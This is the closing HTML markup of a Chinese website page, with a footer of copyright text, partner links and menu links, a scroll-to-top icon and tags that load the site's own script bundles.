                    </div>
                    <!--end::Title-->
                </div>
                
            </div>
            <!--end::Body-->
        </div>
        <!--end::Chart Widget 35-->
    </div>
    <!--end::Col-->
</div>



</div>
<!--end::Content container-->
</div>
<!--end::Content-->
</div>
<!--end::Content wrapper-->
<!--begin::Footer-->
<div id="kt_app_footer" class="app-footer">
    <!--begin::Footer container-->
    <div class="app-container container-xxl d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
        <!--begin::Copyright-->
        <div class="text-dark order-2 order-md-1">
            <span class="text-muted fw-semibold me-1">2025 &copy;</span>
            <a href="/" target="_blank" class="text-gray-800 text-hover-primary">发门网</a>
            <a href="https://beian.miit.gov.cn/" target="_blank" class="text-gray-800 text-hover-primary"></a>
            <a href="http://www.bitekongjian.com">比特空间</a><a href="http://www.zzszq.net">深知网</a><a href="http://www.hysmm.com/">行业商贸网</a><a href="http://www.981608.com/">一路旅游网</a>        </div>
        <!--end::Copyright-->
        <!--begin::Menu-->
        <ul class="menu menu-gray-600 menu-hover-primary fw-semibold order-1">
                        <li class="menu-item">
                <a href="/news/" target="_blank" class="menu-link px-2">资讯</a>
            </li>
                        <li class="menu-item">
                <a href="/shenghuo/" target="_blank" class="menu-link px-2">生活</a>
            </li>
                        <li class="menu-item">
                <a href="/keji/" target="_blank" class="menu-link px-2">科技</a>
            </li>
                        <li class="menu-item">
                <a href="/sitemap.xml" target="_blank" class="menu-link px-2">sitemap</a>
            </li>
        </ul>
        <!--end::Menu-->
    </div>
    <!--end::Footer container-->
</div>
<!--end::Footer-->
</div>
<!--end:::Main-->
</div>
<!--end::Wrapper-->
</div>
<!--end::Page-->
</div>
<!--end::App-->
<div id="kt_scrolltop" class="scrolltop" data-kt-scrolltop="true">
    <!--begin::Svg Icon | path: icons/duotune/arrows/arr066.svg-->
    <span class="svg-icon">
        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
            <rect opacity="0.5" x="13" y="6" width="13" height="2" rx="1" transform="rotate(90 13 6)" fill="currentColor"></rect>
            <path d="M12.5657 8.56569L16.75 12.75C17.1642 13.1642 17.8358 13.1642 18.25 12.75C18.6642 12.3358 18.6642 11.6642 18.25 11.25L12.7071 5.70711C12.3166 5.31658 11.6834 5.31658 11.2929 5.70711L5.75 11.25C5.33579 11.6642 5.33579 12.3358 5.75 12.75C6.16421 13.1642 6.83579 13.1642 7.25 12.75L11.4343 8.56569C11.7467 8.25327 12.2533 8.25327 12.5657 8.56569Z" fill="currentColor"></path>
        </svg>
    </span>
    <!--end::Svg Icon-->
</div>
<!--begin::Javascript-->
<script>var hostUrl = "/static/default/pc/";</script>
<!--begin::Global Javascript Bundle(mandatory for all pages)-->
<script src="/static/default/pc/plugins/global/plugins.bundle.js"></script>
<script src="/static/default/pc/js/scripts.bundle.js"></script>
<!--end::Global Javascript Bundle-->

<!--end::Javascript-->
</body>
<!--end::Body-->
</html>